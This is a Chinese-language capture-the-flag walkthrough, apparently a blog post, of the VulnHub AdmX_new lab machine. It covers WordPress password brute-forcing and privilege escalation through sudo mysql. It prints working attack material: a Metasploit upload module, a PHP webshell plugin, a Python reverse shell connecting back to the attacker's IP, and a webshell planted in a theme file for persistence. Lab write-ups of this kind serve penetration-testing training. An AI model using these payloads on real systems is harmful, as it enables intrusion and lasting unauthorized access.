VulnHub-AdmX_new

前言

  这是打靶训练的第七周,难度中等,下载链接,目标取得两个flag。这靶场不看攻略,我真的是全程一脸懵逼。

信息搜集

  扫了一波,只出现了80端口,而且是apache的默认页面
  
  进行目录扫描,得到/wordpress/wp-login.php和/wordpress,这一看是wordpress的后台。开开心心去访问。结果出现下图情况
  
  而且加载速度非常的慢,于是打开f12,看看请求了什么东西
  
  原来对192.168.159.145进行请求,然而我们并没有这个ip,所以请求速度非常慢。再看看wp-login.php的Response
  
  源代码里面有27个对这个ip的请求,那有没有办法把这个ip换成靶机的ip:192.168.41.129呢。这时候献出burp!
  来到Proxy下的Options下的Match and Replace,先把里面的所有内容Remove掉。再点击Add,按下图配置
  
  
  配置完成后
  
  先查看/wordpress里面的内容,发现了admin管理员,猜测存在admin账号。
  
  来到登录页,随便输入账号和密码,提示此用户不存在
  
  再输入admin账号,提示密码错误
  
  所以存在admin账号,接下来就是暴力破解了,可以用kali自带的字典rockyou。字典位置在/usr/share/wordlists/rockyou.txt.gz,这个字典非常的全面和强大。跑了一万年终于出结果了,密码是:adam14
  

getshell

  此靶机getshell有几种方式,我会分开讲

第一种方法

  使用msf中的wp_admin_shell_upload

use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 192.168.41.129
set username admin
set password adam14
set targeturi /wordpress
run

  
  

第二种方法

  编辑一个shell.php,内容如下

<?php
/**
Plugin Name: webshell
Plugin URI: https://www.baidu.com/
Description: webshell
Version: 1.0
Author: lion
Author URI: https://www.baidu.com/
License: https://www.baidu.com/
*/

if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>

  然后压缩成shell.zip,来到Plugins下的Add New,点击install now,上传刚刚的shell.zip。
  
  点击Activate Plugin,激活插件。
  
  木马插件保存在/wordpress/wp-content/plugins/shell.php?cmd=id,可成功命令执行
  
  这里我使用nc和bash都不能反弹shell,而靶机存在python3环境,所以可以使用python 反弹shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.41.130",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

  

第三种方法

  严格来讲不算是新的方法,此方法必须要getshell的基础上再获取一个shell。听起来很怪是吧。本方法的重点是,如何将得到的shell升级成完全交互式的shell。
  先查看kali上面是否有/bin/bash,ls /bin/bash,如果没有自己安装,再查看当前的shell使用的shell是不是/bin/bash
  
  我这里是已经配置好的,kali默认的shell是zsh,如果不是输入chsh -s /bin/bash,将当前shell切换成bash。再重启kali即可成功切换成bash。
  一切准备就绪后,先按ctrl + z,将获取到的shell放入后台
  
  依次输入以下命令,即可升级成完全交互式shell

stty raw -echo
fg
ls
export SHELL=/bin/bash
export TERM=screen
stty rows 38 columns 116
reset

  
  编辑此文件vi /var/www/html/wordpress/wp-content/themes/twentytwentyone/index.php
  插入一句话木马
  
  蚁剑访问http://192.168.41.129/wordpress/wp-content/themes/twentytwentyone/index.php,即可连接成功
  
  获取到那么多shell的原因是,在真实的渗透测试过程中,通过边界打点成功,获得一个shell这个操作往往是比较困难的。而一旦取得了目标,一定要把这个shell拿牢,不能让它轻易的丢失。如果通过nc获得了反弹shell,又一不小心按到键盘上的ctrl + c的话,这个连接就断了。而必须再次触发此漏洞,再次获取一个反弹shell。多次触发漏洞的话,有可能目标系统,内部的软件环境就已经发生了变化,当你下次还想再次触发这个漏洞,你会发现它就失败了,你就再也没有办法用同一个漏洞,获得反弹shell,你就失去了这个机会。手里必须保证有2-3个shell。

flag1

  来到/home/wpadmin,尝试cat local.txt无权限
  
  查看wp-config配置文件cat /var/www/html/wordpress/wp-config.php
  
  有个密码Wp_Admin#123,尝试su wpadmin结果失败,还有一个adam14密码没试,成功登录
  

flag2

  sudo -l 发现mysql可以不用root密码以root权限执行
  
  sudo /usr/bin/mysql -u root -D wordpress -p,再次输入密码adam14。而这里是可以执行系统命令的,所以轻松获取第二个flag
  

查看评论 -
评论